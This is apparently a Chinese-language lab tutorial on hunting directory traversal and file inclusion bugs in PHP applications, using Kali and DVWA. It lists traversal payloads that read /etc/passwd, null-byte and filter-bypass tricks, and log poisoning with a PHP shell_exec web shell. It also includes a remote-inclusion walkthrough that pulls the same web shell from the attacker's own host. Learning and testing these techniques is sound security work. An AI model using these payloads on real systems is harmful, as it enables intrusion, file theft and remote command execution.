二十一、手动漏洞挖掘(4)目录遍历/文件包含
1、区别
- 目录遍历:Directory traversal
- 目录遍历:指除浏览web本目录外,能够浏览web目录外的文件;
- 文件包含:File include
- 文件包含:指系统执行访问请求时,调用web本身目录外的文件,作为访问结果。其中又分为LFI(本地文件包含)和RFI(远程文件包含),RFI可以放一个远程木马文件,访问中RFI包含远程木马文件,此时访问能被直接执行,拿到shell。
2、实例
在/usr/share/wfuzz/wordlist/vulns/
下有相应的用于黑盒测试表,可用于burpsuite的intruder进行测试。
默认只有本地文件包含,要想使用远程文件包含,需要修改配置文件:
# vi/etc/php5/cgi/php.ini //编辑配置文件
allow_url_include=on //修改参数为on
#sudo /etc/init.d/apache2 restart
2.1 典型特征
看到变量的值为一个页面,如
?page=a.php
?home=b.html
?file=content
需要着重关注,有可能存在文件包含漏洞。
2.2 经典测试方法
?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php //远程文件包含
http://1.1.1.1/../../../dir/file.txt
通过../查看/etc/passwd
通过file://查看
远程文件包含进来
上述163网站有过滤,查看其它的网站(如新浪)或者木马
Paste_Image.png2.3 编码绕过
一般来说,服务器对 ascii的前128个字符不会过滤,比如a,b,c等字符,但是对于一些/、.等字符会过滤。对于php5版本,当看到文件后缀为特定字符时,默认会忽略后面的内容,如“.”,“%00”(空字符的URL编码)可以绕过文件扩展名过滤。
举例:?file=a.doc%00.php //默认应用程序后补齐a.doc.php,并且认为不是php程序而执行报错,当加上%00,后面的内容php会忽略。
其中,编码包括url编码、双层url编码,unicode/UTF-8编码,但是前提是服务器端能够识别此编码并解析
2.3 不同操作系统的路径特征字符
- 类UNIX系统:
- 根目录:/
- 目录层级分隔符:/
- Windows系统
- C:\
- \或/
其它系统路径可能使用到的字符:
file.txt...
file.txt<spaces> //多个空格
file.txt """"
file.txt<<<>>><
./././file.txt
noneexistant/../file.txt //如cd a/../b.txt(其中a目录不存在)
UNC路径:用于文件共享目录
\\1.1.1.1\path\to\file.txt
2.4本地文件包含lfi
实例:通过php服务器的日志进行文件包含代码的注入
原因:由于权限设置的不合理,导致在先插入一条错误的指令(php代码)到access.log后,能够被文件包含利用后执行
#/var/log/apache2/access.log
日志信息可看到URL中包含的信息
然后在kali开启nc连接访问:
#nc 192.168.1.101 80 //连接靶机的80端口
输入
<?php echo shell_exec($_GET['cmd']);?> //提示访问不成功,不是正常访问请求
php代码访问
但此时,通过查看日志信息,发现有一条日志记录
日志访问信息
由于用户www-data对access.log没有读取权限,如果设置有读取权限的话,即可利用漏洞。因此先修改access.log的访问权限,让www-data也能够读取访问:
#chmod a+rx /var/log/apache2
#chmod a+rx /var/log/appache2/access.log
访问权限执行设置完成后,下面开始通过文件包含将access.log包含进来,并让其执行php的代码。
访问文件并执行代码查看结果,可以看到执行'id'命令时,系统执行了此命令并返回
执行结果
2.5远程文件包含rfi
2.5.1判断
在kali上执行nc监听80端口,然后在通过ip访问靶机地址,然后通过远程文件包含一个文件(随意命名,只是测试),看靶机是否能将请求发送到kali上:
kali本机监听80端口访问靶机时,将远程50.115上的a.php文件包含进来
访问靶机并远程包含kali文件查看kali上监听的结果,发现远程包含可以被执行,在访问时要来kali上取a.php文件:
监听结果上面的使用是secure=low,低安全级别的,如果升级为“中”安全级别,可以看下源码:
medium级别源码中安全级别对上面输入的http及https进行了过滤,因此如果再像上面那样输入的话会报错,如何才能屏蔽此过滤限制呢?
源码中对http://和https://进行了限制,但是如果在访问中输入:
192.168.50.183/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.50.115/a.php
,由于中间的http://被转换为空,因此又成为了http://的访问
绕过中级别过滤限制
2.5.2 RFI实际测试
在kali上的/var/www/html/下建立1.txt,并将<?php echo shell_exec($_GET['cmd']);?>
写入到1.txt中
启动kali上的apache,service apache2 start
通过上面两个图,可以看到能够访问到RFI文件,下面尝试能否执行此RFI文件执行命令:
RFI远程文件代码执行